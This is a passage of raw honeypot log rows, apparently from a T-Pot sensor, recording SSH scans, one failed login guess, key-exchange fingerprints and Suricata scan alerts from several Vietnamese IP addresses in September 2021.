"ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f3138ab24b58", "@version": "1", "timestamp": "2021-09-20T11:11:10.819103Z", "@timestamp": "2021-09-20T11:11:10.819Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26022	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:11.340774+03	2021-09-20 14:15:12.733646+03	{"_id": "5AbnAnwBvYTbRNuEFx0T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [kiccuser/kiccuser] failed", "session": "35c4bd54841d", "@version": "1", "password": "kiccuser", "username": "kiccuser", "timestamp": "2021-09-20T11:11:11.340774Z", "@timestamp": "2021-09-20T11:11:11.340Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26023	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:11:13.031084+03	2021-09-20 14:15:12.734646+03	{"_id": "8wbnAnwBvYTbRNuEHh1O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43758, "dest_port": 22, "timestamp": "2021-09-20T11:11:13.031084", "@timestamp": "2021-09-20T11:11:13.031Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26024	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:11:13.135264+03	2021-09-20 14:15:12.735646+03	{"_id": "CwbnAnwBvYTbRNuEIR4a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:11:12.583428+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1790}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1681333337253636, "payload": "AAAI7AYUTS2m6nN+kRhKbvE9Gh/JDAAAAcpjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGN1cnZlNDQ4LXNoYTUxMixlY2RoLXNoYTItbmlzdHA1MjEsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItMS4zLjEzMi4wLjEwLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGExLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMjU2LGRpZmZpZS1oZWxsbWFuLWdyb3VwMTUtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTctc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMSxyc2EyMDQ4LXNoYTI1Nixyc2ExMDI0LXNoYTEsZXh0LWluZm8tYwAAAbVzc2gtZWQyNTUxOS1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxzc2gtZWQ0NDgtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDUyMS1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHAyNTYtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi0xLjMuMTMyLjAuMTAtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLXJzYS1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxzc2gtZHNzLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1lZDI1NTE5LHNzaC1lZDQ0OCxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLTEuMy4xMzIuMC4xMCxyc2Etc2hhMi0yNTYscnNhLXNoYTItNTEyLHNzaC1yc2Esc3NoLWRzcwAAAM1jaGFjaGEyMC1wb2x5MTMwNUBvcGVuc3NoLmNvbSxhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMsYmxvd2Zpc2gtY2JjLGNhc3QxMjgtY2JjLGFyY2ZvdXIyNTYsYXJjZm91cjEyOCxhcmNmb3VyAAAAzWNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc2guY29tLGFlczI1Ni1nY21Ab3BlbnNzaC5jb20sYWVzMTI4LWdjbUBvcGVuc3NoLmNvbSxhZXMyNTYtY3RyLGFlczE5Mi1jdHIsYWVzMTI4LWN0cixhZXMyNTYtY2JjLGFlczE5Mi1jYmMsYWVzMTI4LWNiYywzZGVzLWNiYyxibG93ZmlzaC1jYmMsY2FzdDEyOC1jYmMsYXJjZm91cjI1NixhcmNmb3VyMTI4LGFyY2ZvdXIAAAGtdW1hYy02NC1ldG1Ab3BlbnNzaC5jb20sdW1hYy0xMjgtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGht", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40706, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:11:13.135264Z", "@timestamp": "2021-09-20T11:11:13.135Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......M-..s~..Jn.=........curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c....ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss....chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour....chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour....umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hm"}}	1	\N	\N	alert	known attacker	\N
26025	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:11:14.020444+03	2021-09-20 14:15:12.736646+03	{"_id": "DgbnAnwBvYTbRNuEIR4a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1145776685311589, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44898, "dest_port": 22, "timestamp": "2021-09-20T11:11:14.020444Z", "@timestamp": "2021-09-20T11:11:14.020Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26026	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:11:13.624692+03	2021-09-20 14:15:12.738646+03	{"_id": "EAbnAnwBvYTbRNuEIh44", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 46444, "dest_port": 22, "timestamp": "2021-09-20T11:11:13.624692", "@timestamp": "2021-09-20T11:11:13.624Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26027	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:15.665971+03	2021-09-20 14:15:12.739644+03	{"_id": "HAbnAnwBvYTbRNuEKh6f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "66532e6039d1", "@version": "1", "duration": 2.805048942565918, "timestamp": "2021-09-20T11:11:15.665971Z", "@timestamp": "2021-09-20T11:11:15.665Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26028	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:17.186049+03	2021-09-20 14:15:12.741646+03	{"_id": "IAbnAnwBvYTbRNuELh6L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:35356 (192.168.176.2:22) [session: 47e7b17df857]", "session": "47e7b17df857", "@version": "1", "protocol": "ssh", "src_port": 35356, "dest_port": 22, "timestamp": "2021-09-20T11:11:17.186049Z", "@timestamp": "2021-09-20T11:11:17.186Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26029	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:11:17.301537+03	2021-09-20 14:15:12.742646+03	{"_id": "RgbnAnwBvYTbRNuEMB67", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:11:17.301537+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1519767405304289, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 57344, "dest_port": 22, "timestamp": "2021-09-20T11:11:17.301537Z", "@timestamp": "2021-09-20T11:11:17.301Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
26030	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:11:17.879044+03	2021-09-20 14:15:12.743672+03	{"_id": "RwbnAnwBvYTbRNuEMB67", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 903160425465148, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57168, "dest_port": 22, "timestamp": "2021-09-20T11:11:17.879044Z", "@timestamp": "2021-09-20T11:11:17.879Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26031	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:17.464499+03	2021-09-20 14:15:12.745646+03	{"_id": "SwbnAnwBvYTbRNuEMR7b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": 